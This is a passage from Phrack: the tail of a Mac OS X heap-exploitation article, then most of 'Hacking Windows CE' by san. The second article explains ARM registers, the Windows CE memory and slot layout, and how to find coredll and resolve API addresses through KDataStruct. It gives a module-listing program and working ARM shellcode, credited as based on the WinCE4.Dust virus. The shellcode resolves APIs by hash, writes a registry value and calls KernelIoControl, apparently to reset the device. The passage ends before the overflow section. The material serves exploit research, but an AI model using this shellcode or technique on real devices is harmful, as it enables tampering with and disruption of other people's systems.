When you are able to exploit a bug in this way you can quickly turn a complicated bug into the equivalent of a simple stack smash (3).

At the time of writing this paper, no protection schemes for the heap exist for Mac OS X which would stop this technique from working. (To my knowledge).

On a side note, if anyone works out why the initial_malloc_zones struct is always located at 0x2800000 outside of gdb and 0x1800000 inside i would appreciate it if you let me know.

I'd like to say thanks to my boss Swaraj from Suresec LTD for giving me time to research the things which i enjoy so much.

I'd also like to say hi to all the guys at Feline Menace, as well as pulltheplug.org/#social and the Ruxcon team. I'd also like to thank the Chelsea for providing the AU felinemenace guys with buckets of corona to fuel our hacking. Thanks as well to duke for pointing out the vm_allocate() bug and ilja for discussing all of this with me on various occasions.

"Free wd jail mitnick!"

‑‑[ 7 ‑ References

1) Apple Memory Usage performance Guidelines:

‑ http://developer.apple.com/documentation/Performance/Conceptual/

ManagingMemory/Articles/MemoryAlloc.html

2) WebKit:

‑ http://webkit.opendarwin.org/

3) Smashing the stack for fun and profit:

‑ http://www.phrack.org/show.php?p=49&a=14

4) Mac OS X Assembler Guide

‑ http://developer.apple.com/documentation/DeveloperTools/

Reference/Assembler/index.html

5) Slashdot ‑ Nokia Using WebKit

‑ http://apple.slashdot.org/article.pl?sid=05/06/13/1158208

6) Darwin Source.

‑ http://www.opensource.apple.com/darwinsource/curr.version.number

7) Bug Me Not

‑ http://www.bugmenot.com

8) Open Darwin

‑ http://www.opendarwin.org

Hacking Windows CE (pocketpcs & others)

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x06 of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Hacking Windows CE ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ san <san@xfocus.org> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Abstract

2 ‑ Windows CE Overview

3 ‑ ARM Architecture

4 ‑ Windows CE Memory Management

5 ‑ Windows CE Processes and Threads

6 ‑ Windows CE API Address Search Technology

7 ‑ The Shellcode for Windows CE

8 ‑ System Call

9 ‑ Windows CE Buffer Overflow Exploitation

10 ‑ About Decoding Shellcode

11 ‑ Conclusion

12 ‑ Greetings

13 ‑ References

‑‑[ 1 ‑ Abstract

The network features of PDAs and mobiles are becoming more and more powerful, so their related security problems are attracting more and more attentions. This paper will show a buffer overflow exploitation example in Windows CE. It will cover knowledges about ARM architecture, memory management and the features of processes and threads of Windows CE. It also shows how to write a shellcode in Windows CE, including knowledges about decoding shellcode of Windows CE with ARM processor.

‑‑[ 2 ‑ Windows CE Overview

Windows CE is a very popular embedded operating system for PDAs and mobiles. As the name, it's developed by Microsoft. Because of the similar APIs, the Windows developers can easily develop applications for Windows CE. Maybe this is an important reason that makes Windows CE popular. Windows CE 5.0 is the latest version, but Windows CE.net(4.2) is the most useful version, and this paper is based on Windows CE.net.

For marketing reason, Windows Mobile Software for Pocket PC and Smartphone are considered as independent products, but they are also based on the core of Windows CE.

By default, Windows CE is in little‑endian mode and it supports several processors.

‑‑[ 3 ‑ ARM Architecture

ARM processor is the most popular chip in PDAs and mobiles, almost all of the embedded devices use ARM as CPU. ARM processors are typical RISC processors in that they implement a load/store architecture. Only load and store instructions can access memory. Data processing instructions operate on register contents only.

There are six major versions of ARM architecture. These are denoted by the version numbers 1 to 6.

ARM processors support up to seven processor modes, depending on the architecture version. These modes are: User, FIQ‑Fast Interrupt Request, IRQ‑Interrupt Request, Supervisor, Abort, Undefined and System. The System mode requires ARM architecture v4 and above. All modes except User mode are referred to as privileged mode. Applications usually execute in User mode, but on Pocket PC all applications appear to run in kernel mode, and we'll talk about it late.

ARM processors have 37 registers. The registers are arranged in partially overlapping banks. There is a different register bank for each processor mode. The banked registers give rapid context switching for dealing with processor exceptions and privileged operations.

In ARM architecture v3 and above, there are 30 general‑purpose 32‑bit registers, the program counter(pc) register, the Current Program Status Register(CPSR) and five Saved Program Status Registers(SPSRs). Fifteen general‑purpose registers are visible at any one time, depending on the current processor mode. The visible general‑purpose registers are from r0 to r14.

By convention, r13 is used as a stack pointer(sp) in ARM assembly language. The C and C++ compilers always use r13 as the stack pointer.

In User mode and System mode, r14 is used as a link register(lr) to store the return address when a subroutine call is made. It can also be used as a general‑purpose register if the return address is stored in the stack.

The program counter is accessed as r15(pc). It is incremented by four bytes for each instruction in ARM state, or by two bytes in Thumb state. Branch instructions load the destination address into the pc register.

You can load the pc register directly using data operation instructions. This feature is different from other processors and it is useful while writing shellcode.

‑‑[ 4 ‑ Windows CE Memory Management

Understanding memory management is very important for buffer overflow exploit. The memory management of Windows CE is very different from other operating systems, even other Windows systems.

Windows CE uses ROM (read only memory) and RAM (random access memory).

The ROM stores the entire operating system, as well as the applications that are bundled with the system. In this sense, the ROM in a Windows CE system is like a small read‑only hard disk. The data in ROM can be maintained without power of battery. ROM‑based DLL files can be designated as Execute in Place. XIP is a new feature of Windows CE.net. That is, they're executed directly from the ROM instead of being loaded into program RAM and then executed. It is a big advantage for embedded systems. The DLL code doesn't take up valuable program RAM and it doesn't have to be copied into RAM before it's launched. So it takes less time to start an application. DLL files that aren't in ROM but are contained in the object store or on a Flash memory storage card aren't executed in place; they're copied into the RAM and then executed.

The RAM in a Windows CE system is divided into two areas: program memory and object store.

The object store can be considered something like a permanent virtual RAM disk. Unlike the RAM disks on a PC, the object store maintains the files stored in it even if the system is turned off. This is the reason that Windows CE devices typically have a main battery and a backup battery. They provide power for the RAM to maintain the files in the object store. Even when the user hits the reset button, the Windows CE kernel starts up looking for a previously created object store in RAM and uses that store if it finds one.

Another area of the RAM is used for the program memory. Program memory is used like the RAM in personal computers. It stores the heaps and stacks for the applications that are running. The boundary between the object store and the program RAM is adjustable. The user can move the dividing line between object store and program RAM using the System Control Panel applet.

Windows CE is a 32‑bit operating system, so it supports 4GB virtual address space. The layout is as following:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0xFFFFFFFF

| | | Kernel Virtual Address: |

| | 2 | KPAGE Trap Area, |

| | G | KDataStruct, etc |

| | B | ... |

| | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0xF0000000

| 4 | K | Static Mapped Virtual Address |

| G | E | ... |

| B | R | ... |

| | N |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ 0xC4000000

| V | E | NK.EXE |

| I | L |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ 0xC2000000

| R | | ... |

| T | | ... |

| U |‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ 0x80000000

| A | | Memory Mapped Files |

| L | 2 | ... |

| | G |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ 0x42000000

| A | B | Slot 32 Process 32 |

| D | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ 0x40000000

| D | U | ... |

| R | S |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ 0x08000000

| E | E | Slot 3 DEVICE.EXE |

| S | R |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ 0x06000000

| S | | Slot 2 FILESYS.EXE |

| | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0x04000000

| | | Slot 1 XIP DLLs |

| | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0x02000000

| | | Slot 0 Current Process |

+‑‑‑+‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0x00000000

The upper 2GB is kernel space, used by the system for its own data. And the lower 2GB is user space. From 0x42000000 to below 0x80000000 memories are used for large memory allocations, such as memory‑mapped files, object store is in here. From 0 to below 0x42000000 memories are divided into 33 slots, each of which is 32MB.

Slot 0 is very important; it's for the currently running process. The virtual address space layout is as following:

+‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0x02000000

| | DLL Virtual Memory Allocations |

| S | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| L | | ROM DLLs:R/W Data |

| O | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| T | | RAM DLL+OverFlow ROM DLL: |

| 0 | | Code+Data |

| | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| C +‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| U | A |

| R V | |

| R +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑|

| E | General Virtual Memory Allocations|

| N | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| T | | Process VirtualAlloc() calls |

| | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| P | | Thread Stack |

| R | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| O | | Process Heap |

| C | |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| E | | Thread Stack |

| S |‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

| S | Process Code and Data |

| |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0x00010000

| | Guard Section(64K)+UserKInfo |

+‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0x00000000

First 64 KB reserved by the OS. The process' code and data are mapped from 0x00010000, then followed by stacks and heaps. DLLs loaded into the top address. One of the new features of Windows CE.net is the expansion of an application's virtual address space from 32 MB, in earlier versions of Windows CE, to 64 MB, because the Slot 1 is used as XIP.

‑‑[ 5 ‑ Windows CE Processes and Threads

Windows CE treats processes in a different way from other Windows systems. Windows CE limits 32 processes being run at any one time. When the system starts, at least four processes are created: NK.EXE, which provides the kernel service, it's always in slot 97; FILESYS.EXE, which provides file system service, it's always in slot 2; DEVICE.EXE, which loads and maintains the device drivers for the system, it's in slot 3 normally; and GWES.EXE, which provides the GUI support, it's in slot 4 normally. The other processes are also started, such as EXPLORER.EXE.

Shell is an interesting process because it's not even in the ROM. SHELL.EXE is the Windows CE side of CESH, the command line‑based monitor. The only way to load it is by connecting the system to the PC debugging station so that the file can be automatically downloaded from the PC. When you use Platform Builder to debug the Windows CE system, the SHELL.EXE will be loaded into the slot after FILESYS.EXE.

Threads under Windows CE are similar to threads under other Windows systems. Each process at least has a primary thread associated with it upon starting even if it never explicitly created one. And a process can create any number of additional threads, it's only limited by available memory.

Each thread belongs to a particular process and shares the same memory space. But SetProcPermissions(‑1) gives the current thread access to any process. Each thread has an ID, a private stack and a set of registers. The stack size of all threads created within a process is set by the linker when the application is compiled.

The IDs of process and thread in Windows CE are the handles of the corresponding process and thread. It's funny, but it's useful while programming.

When a process is loaded, system will assign the next available slot to it . DLLs loaded into the slot and then followed by the stack and default process heap. After this, then executed.

When a process' thread is scheduled, system will copy from its slot into slot 0. It isn't a real copy operation; it seems just mapped into slot 0. This is mapped back to the original slot allocated to the process if the process becomes inactive. Kernel, file system, windowing system all runs in their own slots

Processes allocate stack for each thread, the default size is 64KB, depending on link parameter when the program is compiled. The top 2KB is used to guard against stack overflow, we can't destroy this memory, otherwise, the system will freeze. And the remained available for use.

Variables declared inside functions are allocated in the stack. Thread's stack memory is reclaimed when it terminates.

‑‑[ 6 ‑ Windows CE API Address Search Technology

We must have a shellcode to run under Windows CE before exploit. Windows CE implements as Win32 compatibility. Coredll provides the entry points for most APIs supported by Windows CE. So it is loaded by every process. The coredll.dll is just like the kernel32.dll and ntdll.dll of other Win32 systems. We have to search necessary API addresses from the coredll.dll and then use these APIs to implement our shellcode. The traditional method to implement shellcode under other Win32 systems is to locate the base address of kernel32.dll via PEB structure and then search API addresses via PE header.

Firstly, we have to locate the base address of the coredll.dll. Is there a structure like PEB under Windows CE? The answer is yes. KDataStruct is an important kernel structure that can be accessed from user mode using the fixed address PUserKData and it keeps important system data, such as module list, kernel heap, and API set pointer table (SystemAPISets).

KDataStruct is defined in nkarm.h:

// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\nkarm.h

struct KDataStruct {

LPDWORD lpvTls; /* 0x000 Current thread local storage pointer */

HANDLE ahSys[NUM_SYS_HANDLES]; /* 0x004 If this moves, change kapi.h */

char bResched; /* 0x084 reschedule flag */

char cNest; /* 0x085 kernel exception nesting */

char bPowerOff; /* 0x086 TRUE during "power off" processing */

char bProfileOn; /* 0x087 TRUE if profiling enabled */

ulong unused; /* 0x088 unused */

ulong rsvd2; /* 0x08c was DiffMSec */

PPROCESS pCurPrc; /* 0x090 ptr to current PROCESS struct */

PTHREAD pCurThd; /* 0x094 ptr to current THREAD struct */

DWORD dwKCRes; /* 0x098 */

ulong handleBase; /* 0x09c handle table base address */

PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */

LPEVENT alpeIntrEvents[SYSINTR_MAX_DEVICES];/* 0x1a0 */

LPVOID alpvIntrData[SYSINTR_MAX_DEVICES]; /* 0x220 */

ulong pAPIReturn; /* 0x2a0 direct API return address for kernel mode */

uchar *pMap; /* 0x2a4 ptr to MemoryMap array */

DWORD dwInDebugger; /* 0x2a8 !0 when in debugger */

PTHREAD pCurFPUOwner; /* 0x2ac current FPU owner */

PPROCESS pCpuASIDPrc; /* 0x2b0 current ASID proc */

long nMemForPT; /* 0x2b4 ‑ Memory used for PageTables */

long alPad[18]; /* 0x2b8 ‑ padding */

DWORD aInfo[32]; /* 0x300 ‑ misc. kernel info */

// WINCE420\PUBLIC\COMMON\OAK\INC\pkfuncs.h

#define KINX_PROCARRAY 0 /* 0x300 address of process array */

#define KINX_PAGESIZE 1 /* 0x304 system page size */

#define KINX_PFN_SHIFT 2 /* 0x308 shift for page # in PTE */

#define KINX_PFN_MASK 3 /* 0x30c mask for page # in PTE */

#define KINX_PAGEFREE 4 /* 0x310 # of free physical pages */

#define KINX_SYSPAGES 5 /* 0x314 # of pages used by kernel */

#define KINX_KHEAP 6 /* 0x318 ptr to kernel heap array */

#define KINX_SECTIONS 7 /* 0x31c ptr to SectionTable array */

#define KINX_MEMINFO 8 /* 0x320 ptr to system MemoryInfo struct */

#define KINX_MODULES 9 /* 0x324 ptr to module list */

#define KINX_DLL_LOW 10 /* 0x328 lower bound of DLL shared space */

#define KINX_NUMPAGES 11 /* 0x32c total # of RAM pages */

#define KINX_PTOC 12 /* 0x330 ptr to ROM table of contents */

#define KINX_KDATA_ADDR 13 /* 0x334 kernel mode version of KData */

#define KINX_GWESHEAPINFO 14 /* 0x338 Current amount of gwes heap in use */

#define KINX_TIMEZONEBIAS 15 /* 0x33c Fast timezone bias info */

#define KINX_PENDEVENTS 16 /* 0x340 bit mask for pending interrupt events */

#define KINX_KERNRESERVE 17 /* 0x344 number of kernel reserved pages */

#define KINX_API_MASK 18 /* 0x348 bit mask for registered api sets */

#define KINX_NLS_CP 19 /* 0x34c hiword OEM code page, loword ANSI code page */

#define KINX_NLS_SYSLOC 20 /* 0x350 Default System locale */

#define KINX_NLS_USERLOC 21 /* 0x354 Default User locale */

#define KINX_HEAP_WASTE 22 /* 0x358 Kernel heap wasted space */

#define KINX_DEBUGGER 23 /* 0x35c For use by debugger for protocol communication */

#define KINX_APISETS 24 /* 0x360 APIset pointers */

#define KINX_MINPAGEFREE 25 /* 0x364 water mark of the minimum number of free pages */

#define KINX_CELOGSTATUS 26 /* 0x368 CeLog status flags */

#define KINX_NKSECTION 27 /* 0x36c Address of NKSection */

#define KINX_PWR_EVTS 28 /* 0x370 Events to be set after power on */

#define KINX_NKSIG 31 /* 0x37c last entry of KINFO ‑‑ signature when NK is ready */

#define NKSIG 0x4E4B5347 /* signature "NKSG" */

/* 0x380 ‑ interlocked api code */

/* 0x400 ‑ end */

}; /* KDataStruct */

/* High memory layout

*

* This structure is mapped in at the end of the 4GB virtual

* address space.

*

* 0xFFFD0000 ‑ first level page table (uncached) (2nd half is r/o) * 0xFFFD4000 ‑ disabled for protection

* 0xFFFE0000 ‑ second level page tables (uncached)

* 0xFFFE4000 ‑ disabled for protection

* 0xFFFF0000 ‑ exception vectors

* 0xFFFF0400 ‑ not used (r/o)

* 0xFFFF1000 ‑ disabled for protection

* 0xFFFF2000 ‑ r/o (physical overlaps with vectors)

* 0xFFFF2400 ‑ Interrupt stack (1k)

* 0xFFFF2800 ‑ r/o (physical overlaps with Abort stack & FIQ stack) * 0xFFFF3000 ‑ disabled for protection

* 0xFFFF4000 ‑ r/o (physical memory overlaps with vectors & intr. stack & FIQ stack) * 0xFFFF4900 ‑ Abort stack (2k ‑ 256 bytes)

* 0xFFFF5000 ‑ disabled for protection

* 0xFFFF6000 ‑ r/o (physical memory overlaps with vectors & intr. stack) * 0xFFFF6800 ‑ FIQ stack (256 bytes)

* 0xFFFF6900 ‑ r/o (physical memory overlaps with Abort stack) * 0xFFFF7000 ‑ disabled

* 0xFFFFC000 ‑ kernel stack

* 0xFFFFC800 ‑ KDataStruct

* 0xFFFFCC00 ‑ disabled for protection (2nd level page table for 0xFFF00000) */

The value of PUserKData is fixed as 0xFFFFC800 on the ARM processor, and 0x00005800 on other CPUs. The last member of KDataStruct is aInfo. It offsets 0x300 from the start address of KDataStruct structure. Member aInfo is a DWORD array, there is a pointer to module list in index 9(KINX_MODULES), and it's defined in pkfuncs.h. So offsets 0x324 from 0xFFFFC800 is the pointer to the module list.

Well, let's look at the Module structure. I marked the offsets of the Module structure as following:

// WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h

typedef struct Module {

LPVOID lpSelf; /* 0x00 Self pointer for validation */

PMODULE pMod; /* 0x04 Next module in chain */

LPWSTR lpszModName; /* 0x08 Module name */

DWORD inuse; /* 0x0c Bit vector of use */

DWORD calledfunc; /* 0x10 Called entry but not exit */

WORD refcnt[MAX_PROCESSES]; /* 0x14 Reference count per process*/

LPVOID BasePtr; /* 0x54 Base pointer of dll load (not 0 based) */

DWORD DbgFlags; /* 0x58 Debug flags */

LPDBGPARAM ZonePtr; /* 0x5c Debug zone pointer */

ulong startip; /* 0x60 0 based entrypoint */

openexe_t oe; /* 0x64 Pointer to executable file handle */

e32_lite e32; /* 0x74 E32 header */

// WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h

typedef struct e32_lite { /* PE 32‑bit .EXE header */

unsigned short e32_objcnt; /* 0x74 Number of memory objects */

BYTE e32_cevermajor; /* 0x76 version of CE built for */

BYTE e32_ceverminor; /* 0x77 version of CE built for */

unsigned long e32_stackmax; /* 0x78 Maximum stack size */

unsigned long e32_vbase; /* 0x7c Virtual base address of module */

unsigned long e32_vsize; /* 0x80 Virtual size of the entire image */

unsigned long e32_sect14rva; /* 0x84 section 14 rva */

unsigned long e32_sect14size; /* 0x88 section 14 size */

struct info e32_unit[LITE_EXTRA]; /* 0x8c Array of extra info units */

// WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h

struct info { /* Extra information header block */

unsigned long rva; /* Virtual relative address of info */

unsigned long size; /* Size of information block */

}

// WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h

#define EXP 0 /* 0x8c Export table position */

#define IMP 1 /* 0x94 Import table position */

#define RES 2 /* 0x9c Resource table position */

#define EXC 3 /* 0xa4 Exception table position */

#define SEC 4 /* 0xac Security table position */

#define FIX 5 /* 0xb4 Fixup table position */

#define LITE_EXTRA 6 /* Only first 6 used by NK */

} e32_lite, *LPe32_list;

o32_lite *o32_ptr; /* 0xbc O32 chain ptr */

DWORD dwNoNotify; /* 0xc0 1 bit per process, set if notifications disabled */

WORD wFlags; /* 0xc4 */

BYTE bTrustLevel; /* 0xc6 */

BYTE bPadding; /* 0xc7 */

PMODULE pmodResource; /* 0xc8 module that contains the resources */

DWORD rwLow; /* 0xcc base address of RW section for ROM DLL */

DWORD rwHigh; /* 0xd0 high address RW section for ROM DLL */

PGPOOL_Q pgqueue; /* 0xcc list of the page owned by the module */

} Module;

Module structure is defined in kernel.h. The third member of Module structure is lpszModName, which is the module name string pointer and it offsets 0x08 from the start of the Module structure. The Module name is unicode string. The second member of Module structure is pMod, which is an address that point to the next module in chain. So we can locate the coredll module by comparing the unicode string of its name.

Offsets 0x74 from the start of Module structure has an e32 member and it is an e32_lite structure. Let's look at the e32_lite structure, which defined in pehdr.h. In the e32_lite structure, member e32_vbase will tell us the virtual base address of the module. It offsets 0x7c from the start of Module structure. We else noticed the member of e32_unit[LITE_EXTRA], it is an info structure array. LITE_EXTRA is defined to 6 in the head of pehdr.h, only the first 6 used by NK and the first is export table position. So offsets 0x8c from the start of Module structure is the virtual relative address of export table position of the module.

From now on, we got the virtual base address of the coredll.dll and its virtual relative address of export table position.

I wrote the following small program to list all modules of the system:

; SetProcessorMode.s

AREA |.text|, CODE, ARM

EXPORT |SetProcessorMode|

|SetProcessorMode| PROC

mov r1, lr ; different modes use different lr ‑ save it msr cpsr_c, r0 ; assign control bits of CPSR

mov pc, r1 ; return

END

// list.cpp

/*

...

01F60000 coredll.dll

*/

#include "stdafx.h"

extern "C" void __stdcall SetProcessorMode(DWORD pMode);

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine,

int nCmdShow)

{

FILE *fp;

unsigned int KDataStruct = 0xFFFFC800;

void *Modules = NULL,

*BaseAddress = NULL,

*DllName = NULL;

// switch to user mode

//SetProcessorMode(0x10);

if ( (fp = fopen("\\modules.txt", "w")) == NULL )

{

return 1;

}

// aInfo[KINX_MODULES]

Modules = *( ( void ** )(KDataStruct + 0x324));

while (Modules) {

BaseAddress = *( ( void ** )( ( unsigned char * )Modules + 0x7c ) ); DllName = *( ( void ** )( ( unsigned char * )Modules + 0x8 ) );

fprintf(fp, "%08X %ls\n", BaseAddress, DllName);

Modules = *( ( void ** )( ( unsigned char * )Modules + 0x4 ) ); }

fclose(fp);

return(EXIT_SUCCESS);

}

In my environment, the Module structure is 0x8F453128 which in the kernel space. Most of Pocket PC ROMs were builded with Enable Full Kernel Mode option, so all applications appear to run in kernel mode. The first 5 bits of the Psr register is 0x1F when debugging, that means the ARM processor runs in system mode. This value defined in nkarm.h:

// ARM processor modes

#define USER_MODE 0x10 // 0b10000

#define FIQ_MODE 0x11 // 0b10001

#define IRQ_MODE 0x12 // 0b10010

#define SVC_MODE 0x13 // 0b10011

#define ABORT_MODE 0x17 // 0b10111

#define UNDEF_MODE 0x1b // 0b11011

#define SYSTEM_MODE 0x1f // 0b11111

I wrote a small function in assemble to switch processor mode because the EVC doesn't support inline assemble. The program won't get the value of BaseAddress and DllName when I switched the processor to user mode. It raised a access violate exception.

I use this program to get the virtual base address of the coredll.dll is 0x01F60000 without change processor mode. But this address is invalid when I use EVC debugger to look into and the valid data is start from 0x01F61000. I think maybe Windows CE is for the purpose of save memory space or time, so it doesn't load the header of dll files.

Because we've got the virtual base address of the coredll.dll and its virtual relative address of export table position, so through repeat compare the API name by IMAGE_EXPORT_DIRECTORY structure, we can get the API address. IMAGE_EXPORT_DIRECTORY structure is just like other Win32 system's, which defined in winnt.h:

// WINCE420\PUBLIC\COMMON\SDK\INC\winnt.h

typedef struct _IMAGE_EXPORT_DIRECTORY {

DWORD Characteristics; /* 0x00 */

DWORD TimeDateStamp; /* 0x04 */

WORD MajorVersion; /* 0x08 */

WORD MinorVersion; /* 0x0a */

DWORD Name; /* 0x0c */

DWORD Base; /* 0x10 */

DWORD NumberOfFunctions; /* 0x14 */

DWORD NumberOfNames; /* 0x18 */

DWORD AddressOfFunctions; // 0x1c RVA from base of image

DWORD AddressOfNames; // 0x20 RVA from base of image

DWORD AddressOfNameOrdinals; // 0x24 RVA from base of image

} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

‑‑[ 7 ‑ The Shellcode for Windows CE

There are something to notice before writing shellcode for Windows CE. Windows CE uses r0‑r3 as the first to fourth parameters of API, if the parameters of API larger than four that Windows CE will use stack to store the other parameters. So it will be careful to write shellcode, because the shellcode will stay in the stack. The test.asm is our shellcode:

; Idea from WinCE4.Dust written by Ratter/29A

;

; API Address Search

; san@xfocus.org

;

; armasm test.asm

; link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj

CODE32

EXPORT WinMainCRTStartup

AREA .text, CODE, ARM

test_start

; r11 ‑ base pointer

test_code_start PROC

bl get_export_section

mov r2, #4 ; functions number

bl find_func

sub sp, sp, #0x89, 30 ; weird after buffer overflow

add r0, sp, #8

str r0, [sp]

mov r3, #2

mov r2, #0

adr r1, key

mov r0, #0xA, 2

mov lr, pc

ldr pc, [r8, #‑12] ; RegOpenKeyExW

mov r0, #1

str r0, [sp, #0xC]

mov r3, #4

str r3, [sp, #4]

add r1, sp, #0xC

str r1, [sp]

;mov r2, #0

adr r1, val

ldr r0, [sp, #8]

mov lr, pc

ldr pc, [r8, #‑8] ; RegSetValueExW

ldr r0, [sp, #8]

mov lr, pc

ldr pc, [r8, #‑4] ; RegCloseKey

adr r0, sf

ldr r0, [r0]

;ldr r0, =0x0101003c

mov r1, #0

mov r2, #0

mov r3, #0

mov lr, pc

ldr pc, [r8, #‑16] ; KernelIoControl

; basic wide string compare

wstrcmp PROC

wstrcmp_iterate

ldrh r2, [r0], #2

ldrh r3, [r1], #2

cmp r2, #0

cmpeq r3, #0

moveq pc, lr

cmp r2, r3

beq wstrcmp_iterate

mov pc, lr

ENDP

; output:

; r0 ‑ coredll base addr

; r1 ‑ export section addr

get_export_section PROC

mov r11, lr

adr r4, kd

ldr r4, [r4]

;ldr r4, =0xffffc800 ; KDataStruct

ldr r5, =0x324 ; aInfo[KINX_MODULES]

add r5, r4, r5

ldr r5, [r5]

; r5 now points to first module

mov r6, r5

mov r7, #0

iterate

ldr r0, [r6, #8] ; get dll name

adr r1, coredll

bl wstrcmp ; compare with coredll.dll

ldreq r7, [r6, #0x7c] ; get dll base

ldreq r8, [r6, #0x8c] ; get export section rva

add r9, r7, r8

beq got_coredllbase ; is it what we're looking for?

ldr r6, [r6, #4]

cmp r6, #0

cmpne r6, r5

bne iterate ; nope, go on

got_coredllbase

mov r0, r7

add r1, r8, r7 ; yep, we've got imagebase

; and export section pointer

mov pc, r11

ENDP

; r0 ‑ coredll base addr

; r1 ‑ export section addr

; r2 ‑ function name addr

find_func PROC

adr r8, fn

find_func_loop

ldr r4, [r1, #0x20] ; AddressOfNames

add r4, r4, r0

mov r6, #0 ; counter

find_start

ldr r7, [r4], #4

add r7, r7, r0 ; function name pointer

;mov r8, r2 ; find function name

mov r10, #0

hash_loop

ldrb r9, [r7], #1

cmp r9, #0

beq hash_end

add r10, r9, r10, ROR #7

b hash_loop

hash_end

ldr r9, [r8]

cmp r10, r9 ; compare the hash

addne r6, r6, #1

bne find_start

ldr r5, [r1, #0x24] ; AddressOfNameOrdinals

add r5, r5, r0

add r6, r6, r6

ldrh r9, [r5, r6] ; Ordinals

ldr r5, [r1, #0x1c] ; AddressOfFunctions

add r5, r5, r0

ldr r9, [r5, r9, LSL #2]; function address rva

add r9, r9, r0 ; function address

str r9, [r8], #4

subs r2, r2, #1

bne find_func_loop

mov pc, lr

ENDP

kd DCB 0x00, 0xc8, 0xff, 0xff ; 0xffffc800

sf DCB 0x3c, 0x00, 0x01, 0x01 ; 0x0101003c

fn DCB 0xe7, 0x9d, 0x3a, 0x28 ; KernelIoControl

DCB 0x51, 0xdf, 0xf7, 0x0b ; RegOpenKeyExW

DCB 0xc0, 0xfe, 0xc0, 0xd8 ; RegSetValueExW

DCB 0x83, 0x17, 0x51, 0x0e ; RegCloseKey

